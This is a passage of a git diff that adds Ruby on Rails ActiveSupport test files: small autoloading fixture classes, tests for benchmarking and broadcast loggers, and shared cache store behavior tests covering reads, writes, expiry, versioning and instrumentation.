+class ClassFolder::ClassFolderSubclass < ClassFolder
+  ConstantInClassFolder = "indeed"
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb b/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
new file mode 100644
index 0000000000..960bfcbc70
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class ClassFolder::InlineClass
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb b/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
new file mode 100644
index 0000000000..98426b797d
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class ClassFolder
+  class NestedClass
+  end
+
+  class SiblingClass
+  end
+end
diff --git a/activesupport/test/autoloading_fixtures/conflict.rb b/activesupport/test/autoloading_fixtures/conflict.rb
new file mode 100644
index 0000000000..c5d3f6bdc0
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/conflict.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+Conflict = 2
diff --git a/activesupport/test/autoloading_fixtures/counting_loader.rb b/activesupport/test/autoloading_fixtures/counting_loader.rb
new file mode 100644
index 0000000000..6ac3a9828d
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/counting_loader.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+$counting_loaded_times ||= 0
+$counting_loaded_times += 1
+
+module CountingLoader
+end
diff --git a/activesupport/test/autoloading_fixtures/cross_site_dependency.rb b/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
new file mode 100644
index 0000000000..8a18dcff10
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class CrossSiteDependency
+end
diff --git a/activesupport/test/autoloading_fixtures/d.rb b/activesupport/test/autoloading_fixtures/d.rb
new file mode 100644
index 0000000000..72752d878e
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/d.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class D
+end
diff --git a/activesupport/test/autoloading_fixtures/em.rb b/activesupport/test/autoloading_fixtures/em.rb
new file mode 100644
index 0000000000..2e0ac9a6f9
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/em.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class EM
+end
diff --git a/activesupport/test/autoloading_fixtures/html/some_class.rb b/activesupport/test/autoloading_fixtures/html/some_class.rb
new file mode 100644
index 0000000000..fbbfd4a214
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/html/some_class.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+module HTML
+  class SomeClass
+  end
+end
diff --git a/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb b/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb
new file mode 100644
index 0000000000..8735ce87e1
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+module LoadedConstant
+end
diff --git a/activesupport/test/autoloading_fixtures/loads_constant.rb b/activesupport/test/autoloading_fixtures/loads_constant.rb
new file mode 100644
index 0000000000..0bb434a956
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/loads_constant.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module LoadsConstant
+end
+
+# The _ = assignment is to prevent warnings
+_ = RequiresConstant
diff --git a/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb b/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
new file mode 100644
index 0000000000..c11246b528
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class ModuleFolder::InlineClass
+end
diff --git a/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb b/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
new file mode 100644
index 0000000000..69226b405c
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+module ModuleFolder
+  class NestedClass
+  end
+end
diff --git a/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb b/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
new file mode 100644
index 0000000000..30de83af11
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class ModuleFolder::NestedSibling
+end
diff --git a/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb b/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
new file mode 100644
index 0000000000..f688c1ef35
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+ModuleWithCustomConstMissing::A::B = "10"
diff --git a/activesupport/test/autoloading_fixtures/multiple_constant_file.rb b/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
new file mode 100644
index 0000000000..1da26e6c2c
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+MultipleConstantFile = 10
+SiblingConstant = MultipleConstantFile * 2
diff --git a/activesupport/test/autoloading_fixtures/prepend.rb b/activesupport/test/autoloading_fixtures/prepend.rb
new file mode 100644
index 0000000000..bf9e36e12c
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/prepend.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class SubClassConflict
+end
+
+class Prepend
+  module PrependedModule
+  end
+  prepend PrependedModule
+end
diff --git a/activesupport/test/autoloading_fixtures/prepend/sub_class_conflict.rb b/activesupport/test/autoloading_fixtures/prepend/sub_class_conflict.rb
new file mode 100644
index 0000000000..506c3c5920
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/prepend/sub_class_conflict.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Prepend::SubClassConflict
+end
diff --git a/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb b/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb
new file mode 100644
index 0000000000..118ee6bdd1
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+RaisesArbitraryException = 1
+_ = A::B # Autoloading recursion, also expected to be watched and discarded.
+
+raise Exception, "arbitrary exception message"
diff --git a/activesupport/test/autoloading_fixtures/raises_name_error.rb b/activesupport/test/autoloading_fixtures/raises_name_error.rb
new file mode 100644
index 0000000000..c23afb7b12
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/raises_name_error.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class RaisesNameError
+  FooBarBaz
+end
diff --git a/activesupport/test/autoloading_fixtures/raises_no_method_error.rb b/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
new file mode 100644
index 0000000000..1000ce1cf5
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class RaisesNoMethodError
+  self.foobar_method_doesnt_exist
+end
diff --git a/activesupport/test/autoloading_fixtures/requires_constant.rb b/activesupport/test/autoloading_fixtures/requires_constant.rb
new file mode 100644
index 0000000000..6e51998949
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/requires_constant.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require "loaded_constant"
+
+module RequiresConstant
+end
diff --git a/activesupport/test/autoloading_fixtures/should_not_be_required.rb b/activesupport/test/autoloading_fixtures/should_not_be_required.rb
new file mode 100644
index 0000000000..8deffa1816
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/should_not_be_required.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+ShouldNotBeAutoloaded = 0
diff --git a/activesupport/test/autoloading_fixtures/throws.rb b/activesupport/test/autoloading_fixtures/throws.rb
new file mode 100644
index 0000000000..b6fb391032
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/throws.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+Throws = 1
+_ = A::B # Autoloading recursion, expected to be discarded.
+
+throw :t
diff --git a/activesupport/test/autoloading_fixtures/typo.rb b/activesupport/test/autoloading_fixtures/typo.rb
new file mode 100644
index 0000000000..d45cddbcf5
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/typo.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+TypO = 1
diff --git a/activesupport/test/benchmarkable_test.rb b/activesupport/test/benchmarkable_test.rb
new file mode 100644
index 0000000000..424da0a52c
--- /dev/null
+++ b/activesupport/test/benchmarkable_test.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class BenchmarkableTest < ActiveSupport::TestCase
+  include ActiveSupport::Benchmarkable
+
+  attr_reader :buffer, :logger
+
+  class Buffer
+    include Enumerable
+
+    def initialize; @lines = []; end
+    def each(&block); @lines.each(&block); end
+    def write(x); @lines << x; end
+    def close; end
+    def last; @lines.last; end
+    def size; @lines.size; end
+    def empty?; @lines.empty?; end
+  end
+
+  def setup
+    @buffer = Buffer.new
+    @logger = ActiveSupport::Logger.new(@buffer)
+  end
+
+  def test_without_block
+    assert_raise(LocalJumpError) { benchmark }
+    assert buffer.empty?
+  end
+
+  def test_defaults
+    i_was_run = false
+    benchmark { i_was_run = true }
+    assert i_was_run
+    assert_last_logged
+  end
+
+  def test_with_message
+    i_was_run = false
+    benchmark("test_run") { i_was_run = true }
+    assert i_was_run
+    assert_last_logged "test_run"
+  end
+
+  def test_with_silence
+    assert_difference "buffer.count", +2 do
+      benchmark("test_run") do
+        logger.info "SOMETHING"
+      end
+    end
+
+    assert_difference "buffer.count", +1 do
+      benchmark("test_run", silence: true) do
+        logger.info "NOTHING"
+      end
+    end
+  end
+
+  def test_within_level
+    logger.level = ActiveSupport::Logger::DEBUG
+    benchmark("included_debug_run", level: :debug) {}
+    assert_last_logged "included_debug_run"
+  end
+
+  def test_outside_level
+    logger.level = ActiveSupport::Logger::ERROR
+    benchmark("skipped_debug_run", level: :debug) {}
+    assert_no_match(/skipped_debug_run/, buffer.last)
+  ensure
+    logger.level = ActiveSupport::Logger::DEBUG
+  end
+
+  private
+    def assert_last_logged(message = "Benchmarking")
+      assert_match(/^#{message} \(.*\)$/, buffer.last)
+    end
+end
diff --git a/activesupport/test/broadcast_logger_test.rb b/activesupport/test/broadcast_logger_test.rb
new file mode 100644
index 0000000000..181113e70a
--- /dev/null
+++ b/activesupport/test/broadcast_logger_test.rb
@@ -0,0 +1,172 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActiveSupport
+  class BroadcastLoggerTest < TestCase
+    attr_reader :logger, :log1, :log2
+
+    setup do
+      @log1 = FakeLogger.new
+      @log2 = FakeLogger.new
+      @log1.extend Logger.broadcast @log2
+      @logger = @log1
+    end
+
+    Logger::Severity.constants.each do |level_name|
+      method = level_name.downcase
+      level = Logger::Severity.const_get(level_name)
+
+      test "##{method} adds the message to all loggers" do
+        logger.send(method, "msg")
+
+        assert_equal [level, "msg", nil], log1.adds.first
+        assert_equal [level, "msg", nil], log2.adds.first
+      end
+    end
+
+    test "#close broadcasts to all loggers" do
+      logger.close
+
+      assert log1.closed, "should be closed"
+      assert log2.closed, "should be closed"
+    end
+
+    test "#<< shovels the value into all loggers" do
+      logger << "foo"
+
+      assert_equal %w{ foo }, log1.chevrons
+      assert_equal %w{ foo }, log2.chevrons
+    end
+
+    test "#level= assigns the level to all loggers" do
+      assert_equal ::Logger::DEBUG, logger.level
+      logger.level = ::Logger::FATAL
+
+      assert_equal ::Logger::FATAL, log1.level
+      assert_equal ::Logger::FATAL, log2.level
+    end
+
+    test "#progname= assigns to all the loggers" do
+      assert_nil logger.progname
+      logger.progname = ::Logger::FATAL
+
+      assert_equal ::Logger::FATAL, log1.progname
+      assert_equal ::Logger::FATAL, log2.progname
+    end
+
+    test "#formatter= assigns to all the loggers" do
+      assert_nil logger.formatter
+      logger.formatter = ::Logger::FATAL
+
+      assert_equal ::Logger::FATAL, log1.formatter
+      assert_equal ::Logger::FATAL, log2.formatter
+    end
+
+    test "#local_level= assigns the local_level to all loggers" do
+      assert_equal ::Logger::DEBUG, logger.local_level
+      logger.local_level = ::Logger::FATAL
+
+      assert_equal ::Logger::FATAL, log1.local_level
+      assert_equal ::Logger::FATAL, log2.local_level
+    end
+
+    test "#silence does not break custom loggers" do
+      new_logger = FakeLogger.new
+      custom_logger = CustomLogger.new
+      custom_logger.extend(Logger.broadcast(new_logger))
+
+      custom_logger.silence do
+        custom_logger.error "from error"
+        custom_logger.unknown "from unknown"
+      end
+
+      assert_equal [[::Logger::ERROR, "from error", nil], [::Logger::UNKNOWN, "from unknown", nil]], custom_logger.adds
+      assert_equal [[::Logger::ERROR, "from error", nil], [::Logger::UNKNOWN, "from unknown", nil]], new_logger.adds
+    end
+
+    test "#silence silences all loggers below the default level of ERROR" do
+      logger.silence do
+        logger.debug "test"
+      end
+
+      assert_equal [], log1.adds
+      assert_equal [], log2.adds
+    end
+
+    test "#silence does not silence at or above ERROR" do
+      logger.silence do
+        logger.error "from error"
+        logger.unknown "from unknown"
+      end
+
+      assert_equal [[::Logger::ERROR, "from error", nil], [::Logger::UNKNOWN, "from unknown", nil]], log1.adds
+      assert_equal [[::Logger::ERROR, "from error", nil], [::Logger::UNKNOWN, "from unknown", nil]], log2.adds
+    end
+
+    test "#silence allows you to override the silence level" do
+      logger.silence(::Logger::FATAL) do
+        logger.error "unseen"
+        logger.fatal "seen"
+      end
+
+      assert_equal [[::Logger::FATAL, "seen", nil]], log1.adds
+      assert_equal [[::Logger::FATAL, "seen", nil]], log2.adds
+    end
+
+    class CustomLogger
+      attr_reader :adds, :closed, :chevrons
+      attr_accessor :level, :progname, :formatter, :local_level
+
+      def initialize
+        @adds        = []
+        @closed      = false
+        @chevrons    = []
+        @level       = ::Logger::DEBUG
+        @local_level = ::Logger::DEBUG
+        @progname    = nil
+        @formatter   = nil
+      end
+
+      def debug(message, &block)
+        add(::Logger::DEBUG, message, &block)
+      end
+
+      def info(message, &block)
+        add(::Logger::INFO, message, &block)
+      end
+
+      def warn(message, &block)
+        add(::Logger::WARN, message, &block)
+      end
+
+      def error(message, &block)
+        add(::Logger::ERROR, message, &block)
+      end
+
+      def fatal(message, &block)
+        add(::Logger::FATAL, message, &block)
+      end
+
+      def unknown(message, &block)
+        add(::Logger::UNKNOWN, message, &block)
+      end
+
+      def <<(x)
+        @chevrons << x
+      end
+
+      def add(message_level, message = nil, progname = nil, &block)
+        @adds << [message_level, message, progname] if message_level >= local_level
+      end
+
+      def close
+        @closed = true
+      end
+    end
+
+    class FakeLogger < CustomLogger
+      include LoggerSilence
+    end
+  end
+end
diff --git a/activesupport/test/cache/behaviors.rb b/activesupport/test/cache/behaviors.rb
new file mode 100644
index 0000000000..cb08a10bba
--- /dev/null
+++ b/activesupport/test/cache/behaviors.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "behaviors/autoloading_cache_behavior"
+require_relative "behaviors/cache_delete_matched_behavior"
+require_relative "behaviors/cache_increment_decrement_behavior"
+require_relative "behaviors/cache_store_behavior"
+require_relative "behaviors/cache_store_version_behavior"
+require_relative "behaviors/encoded_key_cache_behavior"
+require_relative "behaviors/local_cache_behavior"
diff --git a/activesupport/test/cache/behaviors/autoloading_cache_behavior.rb b/activesupport/test/cache/behaviors/autoloading_cache_behavior.rb
new file mode 100644
index 0000000000..b340eb6c48
--- /dev/null
+++ b/activesupport/test/cache/behaviors/autoloading_cache_behavior.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "dependencies_test_helpers"
+
+module AutoloadingCacheBehavior
+  include DependenciesTestHelpers
+
+  def test_simple_autoloading
+    with_autoloading_fixtures do
+      @cache.write("foo", EM.new)
+    end
+
+    remove_constants(:EM)
+    ActiveSupport::Dependencies.clear
+
+    with_autoloading_fixtures do
+      assert_kind_of EM, @cache.read("foo")
+    end
+
+    remove_constants(:EM)
+    ActiveSupport::Dependencies.clear
+  end
+
+  def test_two_classes_autoloading
+    with_autoloading_fixtures do
+      @cache.write("foo", [EM.new, ClassFolder.new])
+    end
+
+    remove_constants(:EM, :ClassFolder)
+    ActiveSupport::Dependencies.clear
+
+    with_autoloading_fixtures do
+      loaded = @cache.read("foo")
+      assert_kind_of Array, loaded
+      assert_equal 2, loaded.size
+      assert_kind_of EM, loaded[0]
+      assert_kind_of ClassFolder, loaded[1]
+    end
+
+    remove_constants(:EM, :ClassFolder)
+    ActiveSupport::Dependencies.clear
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_delete_matched_behavior.rb b/activesupport/test/cache/behaviors/cache_delete_matched_behavior.rb
new file mode 100644
index 0000000000..6f59ce48d2
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_delete_matched_behavior.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module CacheDeleteMatchedBehavior
+  def test_delete_matched
+    @cache.write("foo", "bar")
+    @cache.write("fu", "baz")
+    @cache.write("foo/bar", "baz")
+    @cache.write("fu/baz", "bar")
+    @cache.delete_matched(/oo/)
+    assert !@cache.exist?("foo")
+    assert @cache.exist?("fu")
+    assert !@cache.exist?("foo/bar")
+    assert @cache.exist?("fu/baz")
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb b/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb
new file mode 100644
index 0000000000..2fa2d7af88
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module CacheIncrementDecrementBehavior
+  def test_increment
+    @cache.write("foo", 1, raw: true)
+    assert_equal 1, @cache.read("foo").to_i
+    assert_equal 2, @cache.increment("foo")
+    assert_equal 2, @cache.read("foo").to_i
+    assert_equal 3, @cache.increment("foo")
+    assert_equal 3, @cache.read("foo").to_i
+    assert_nil @cache.increment("bar")
+  end
+
+  def test_decrement
+    @cache.write("foo", 3, raw: true)
+    assert_equal 3, @cache.read("foo").to_i
+    assert_equal 2, @cache.decrement("foo")
+    assert_equal 2, @cache.read("foo").to_i
+    assert_equal 1, @cache.decrement("foo")
+    assert_equal 1, @cache.read("foo").to_i
+    assert_nil @cache.decrement("bar")
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_behavior.rb b/activesupport/test/cache/behaviors/cache_store_behavior.rb
new file mode 100644
index 0000000000..582e902f72
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_behavior.rb
@@ -0,0 +1,331 @@
+# frozen_string_literal: true
+
+# Tests the base functionality that should be identical across all cache stores.
+module CacheStoreBehavior
+  def test_should_read_and_write_strings
+    assert @cache.write("foo", "bar")
+    assert_equal "bar", @cache.read("foo")
+  end
+
+  def test_should_overwrite
+    @cache.write("foo", "bar")
+    @cache.write("foo", "baz")
+    assert_equal "baz", @cache.read("foo")
+  end
+
+  def test_fetch_without_cache_miss
+    @cache.write("foo", "bar")
+    assert_not_called(@cache, :write) do
+      assert_equal "bar", @cache.fetch("foo") { "baz" }
+    end
+  end
+
+  def test_fetch_with_cache_miss
+    assert_called_with(@cache, :write, ["foo", "baz", @cache.options]) do
+      assert_equal "baz", @cache.fetch("foo") { "baz" }
+    end
+  end
+
+  def test_fetch_with_cache_miss_passes_key_to_block
+    cache_miss = false
+    assert_equal 3, @cache.fetch("foo") { |key| cache_miss = true; key.length }
+    assert cache_miss
+
+    cache_miss = false
+    assert_equal 3, @cache.fetch("foo") { |key| cache_miss = true; key.length }
+    assert !cache_miss
+  end
+
+  def test_fetch_with_forced_cache_miss
+    @cache.write("foo", "bar")
+    assert_not_called(@cache, :read) do
+      assert_called_with(@cache, :write, ["foo", "bar", @cache.options.merge(force: true)]) do
+        @cache.fetch("foo", force: true) { "bar" }
+      end
+    end
+  end
+
+  def test_fetch_with_cached_nil
+    @cache.write("foo", nil)
+    assert_not_called(@cache, :write) do
+      assert_nil @cache.fetch("foo") { "baz" }
+    end
+  end
+
+  def test_fetch_with_forced_cache_miss_with_block
+    @cache.write("foo", "bar")
+    assert_equal "foo_bar", @cache.fetch("foo", force: true) { "foo_bar" }
+  end
+
+  def test_fetch_with_forced_cache_miss_without_block
+    @cache.write("foo", "bar")
+    assert_raises(ArgumentError) do
+      @cache.fetch("foo", force: true)
+    end
+
+    assert_equal "bar", @cache.read("foo")
+  end
+
+  def test_should_read_and_write_hash
+    assert @cache.write("foo", a: "b")
+    assert_equal({ a: "b" }, @cache.read("foo"))
+  end
+
+  def test_should_read_and_write_integer
+    assert @cache.write("foo", 1)
+    assert_equal 1, @cache.read("foo")
+  end
+
+  def test_should_read_and_write_nil
+    assert @cache.write("foo", nil)
+    assert_nil @cache.read("foo")
+  end
+
+  def test_should_read_and_write_false
+    assert @cache.write("foo", false)
+    assert_equal false, @cache.read("foo")
+  end
+
+  def test_read_multi
+    @cache.write("foo", "bar")
+    @cache.write("fu", "baz")
+    @cache.write("fud", "biz")
+    assert_equal({ "foo" => "bar", "fu" => "baz" }, @cache.read_multi("foo", "fu"))
+  end
+
+  def test_read_multi_with_expires
+    time = Time.now
+    @cache.write("foo", "bar", expires_in: 10)
+    @cache.write("fu", "baz")
+    @cache.write("fud", "biz")
+    Time.stub(:now, time + 11) do
+      assert_equal({ "fu" => "baz" }, @cache.read_multi("foo", "fu"))
+    end
+  end
+
+  def test_fetch_multi
+    @cache.write("foo", "bar")
+    @cache.write("fud", "biz")
+
+    values = @cache.fetch_multi("foo", "fu", "fud") { |value| value * 2 }
+
+    assert_equal({ "foo" => "bar", "fu" => "fufu", "fud" => "biz" }, values)
+    assert_equal("fufu", @cache.read("fu"))
+  end
+
+  def test_multi_with_objects
+    cache_struct = Struct.new(:cache_key, :title)
+    foo = cache_struct.new("foo", "FOO!")
+    bar = cache_struct.new("bar")
+
+    @cache.write("bar", "BAM!")
+
+    values = @cache.fetch_multi(foo, bar) { |object| object.title }
+
+    assert_equal({ foo => "FOO!", bar => "BAM!" }, values)
+  end
+
+  def test_fetch_multi_without_block
+    assert_raises(ArgumentError) do
+      @cache.fetch_multi("foo")
+    end
+  end
+
+  def test_read_and_write_compressed_small_data
+    @cache.write("foo", "bar", compress: true)
+    assert_equal "bar", @cache.read("foo")
+  end
+
+  def test_read_and_write_compressed_large_data
+    @cache.write("foo", "bar", compress: true, compress_threshold: 2)
+    assert_equal "bar", @cache.read("foo")
+  end
+
+  def test_read_and_write_compressed_nil
+    @cache.write("foo", nil, compress: true)
+    assert_nil @cache.read("foo")
+  end
+
+  def test_cache_key
+    obj = Object.new
+    def obj.cache_key
+      :foo
+    end
+    @cache.write(obj, "bar")
+    assert_equal "bar", @cache.read("foo")
+  end
+
+  def test_param_as_cache_key
+    obj = Object.new
+    def obj.to_param
+      "foo"
+    end
+    @cache.write(obj, "bar")
+    assert_equal "bar", @cache.read("foo")
+  end
+
+  def test_array_as_cache_key
+    @cache.write([:fu, "foo"], "bar")
+    assert_equal "bar", @cache.read("fu/foo")
+  end
+
+  def test_hash_as_cache_key
+    @cache.write({ foo: 1, fu: 2 }, "bar")
+    assert_equal "bar", @cache.read("foo=1/fu=2")
+  end
+
+  def test_keys_are_case_sensitive
+    @cache.write("foo", "bar")
+    assert_nil @cache.read("FOO")
+  end
+
+  def test_exist
+    @cache.write("foo", "bar")
+    assert_equal true, @cache.exist?("foo")
+    assert_equal false, @cache.exist?("bar")
+  end
+
+  def test_nil_exist
+    @cache.write("foo", nil)
+    assert @cache.exist?("foo")
+  end
+
+  def test_delete
+    @cache.write("foo", "bar")
+    assert @cache.exist?("foo")
+    assert @cache.delete("foo")
+    assert !@cache.exist?("foo")
+  end
+
+  def test_original_store_objects_should_not_be_immutable
+    bar = "bar".dup
+    @cache.write("foo", bar)
+    assert_nothing_raised { bar.gsub!(/.*/, "baz") }
+  end
+
+  def test_expires_in
+    time = Time.local(2008, 4, 24)
+
+    Time.stub(:now, time) do
+      @cache.write("foo", "bar")
+      assert_equal "bar", @cache.read("foo")
+    end
+
+    Time.stub(:now, time + 30) do
+      assert_equal "bar", @cache.read("foo")
+    end
+
+    Time.stub(:now, time + 61) do
+      assert_nil @cache.read("foo")
+    end
+  end
+
+  def test_race_condition_protection_skipped_if_not_defined
+    @cache.write("foo", "bar")
+    time = @cache.send(:read_entry, @cache.send(:normalize_key, "foo", {}), {}).expires_at
+
+    Time.stub(:now, Time.at(time)) do
+      result = @cache.fetch("foo") do
+        assert_nil @cache.read("foo")
+        "baz"
+      end
+      assert_equal "baz", result
+    end
+  end
+
+  def test_race_condition_protection_is_limited
+    time = Time.now
+    @cache.write("foo", "bar", expires_in: 60)
+    Time.stub(:now, time + 71) do
+      result = @cache.fetch("foo", race_condition_ttl: 10) do
+        assert_nil @cache.read("foo")
+        "baz"
+      end
+      assert_equal "baz", result
+    end
+  end
+
+  def test_race_condition_protection_is_safe
+    time = Time.now
+    @cache.write("foo", "bar", expires_in: 60)
+    Time.stub(:now, time + 61) do
+      begin
+        @cache.fetch("foo", race_condition_ttl: 10) do
+          assert_equal "bar", @cache.read("foo")
+          raise ArgumentError.new
+        end
+      rescue ArgumentError
+      end
+      assert_equal "bar", @cache.read("foo")
+    end
+    Time.stub(:now, time + 91) do
+      assert_nil @cache.read("foo")
+    end
+  end
+
+  def test_race_condition_protection
+    time = Time.now
+    @cache.write("foo", "bar", expires_in: 60)
+    Time.stub(:now, time + 61) do
+      result = @cache.fetch("foo", race_condition_ttl: 10) do
+        assert_equal "bar", @cache.read("foo")
+        "baz"
+      end
+      assert_equal "baz", result
+    end
+  end
+
+  def test_crazy_key_characters
+    crazy_key = "#/:*(<+=> )&$%@?;'\"\'`~-"
+    assert @cache.write(crazy_key, "1", raw: true)
+    assert_equal "1", @cache.read(crazy_key)
+    assert_equal "1", @cache.fetch(crazy_key)
+    assert @cache.delete(crazy_key)
+    assert_equal "2", @cache.fetch(crazy_key, raw: true) { "2" }
+    assert_equal 3, @cache.increment(crazy_key)
+    assert_equal 2, @cache.decrement(crazy_key)
+  end
+
+  def test_really_long_keys
+    key = "".dup
+    900.times { key << "x" }
+    assert @cache.write(key, "bar")
+    assert_equal "bar", @cache.read(key)
+    assert_equal "bar", @cache.fetch(key)
+    assert_nil @cache.read("#{key}x")
+    assert_equal({ key => "bar" }, @cache.read_multi(key))
+    assert @cache.delete(key)
+  end
+
+  def test_cache_hit_instrumentation
+    key = "test_key"
+    @events = []
+    ActiveSupport::Notifications.subscribe "cache_read.active_support" do |*args|
+      @events << ActiveSupport::Notifications::Event.new(*args)
+    end
+    assert @cache.write(key, "1", raw: true)
+    assert @cache.fetch(key) {}
+    assert_equal 1, @events.length
+    assert_equal "cache_read.active_support", @events[0].name
+    assert_equal :fetch, @events[0].payload[:super_operation]
+    assert @events[0].payload[:hit]
+  ensure
+    ActiveSupport::Notifications.unsubscribe "cache_read.active_support"
+  end
+
+  def test_cache_miss_instrumentation
+    @events = []
+    ActiveSupport::Notifications.subscribe(/^cache_(.*)\.active_support$/) do |*args|
+      @events << ActiveSupport::Notifications::Event.new(*args)
+    end
+    assert_not @cache.fetch("bad_key") {}
+    assert_equal 3, @events.length
+    assert_equal "cache_read.active_support", @events[0].name
+    assert_equal "cache_generate.active_support", @events[1].name
+    assert_equal "cache_write.active_support", @events[2].name
+    assert_equal :fetch, @events[0].payload[:super_operation]
+    assert_not @events[0].payload[:hit]
+  ensure
+    ActiveSupport::Notifications.unsubscribe "cache_read.active_support"
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_version_behavior.rb b/activesupport/test/cache/behaviors/cache_store_version_behavior.rb
new file mode 100644
index 0000000000..c2e4d046af
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_version_behavior.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module CacheStoreVersionBehavior
+  ModelWithKeyAndVersion = Struct.new(:cache_key, :cache_version)
+
+  def test_fetch_with_right_version_should_hit
+    @cache.fetch("foo", version: 1) { "bar" }
+    assert_equal "bar", @cache.read("foo", version: 1)
+  end
+
+  def test_fetch_with_wrong_version_should_miss
+    @cache.fetch("foo", version: 1) { "bar" }
+    assert_nil @cache.read("foo", version: 2)
+  end
+
+  def test_read_with_right_version_should_hit
+    @cache.write("foo", "bar", version: 1)
+    assert_equal "bar", @cache.read("foo", version: 1)
+  end
+
+  def test_read_with_wrong_version_should_miss
+    @cache.write("foo", "bar", version: 1)
+    assert_nil @cache.read("foo", version: 2)
+  end
+
+  def test_exist_with_right_version_should_be_true
+    @cache.write("foo", "bar", version: 1)
+    assert @cache.exist?("foo", version: 1)
+  end
+
+  def test_exist_with_wrong_version_should_be_false
+    @cache.write("foo", "bar", version: 1)
+    assert !@cache.exist?("foo", version: 2)
+  end
+
+  def test_reading_and_writing_with_model_supporting_cache_version
+    m1v1 = ModelWithKeyAndVersion.new("model/1", 1)
+    m1v2 = ModelWithKeyAndVersion.new("model/1", 2)
+
+    @cache.write(m1v1, "bar")
+    assert_equal "bar", @cache.read(m1v1)
+    assert_nil @cache.read(m1v2)
+  end
+
+  def test_reading_and_writing_with_model_supporting_cache_version_using_nested_key
+    m1v1 = ModelWithKeyAndVersion.new("model/1", 1)
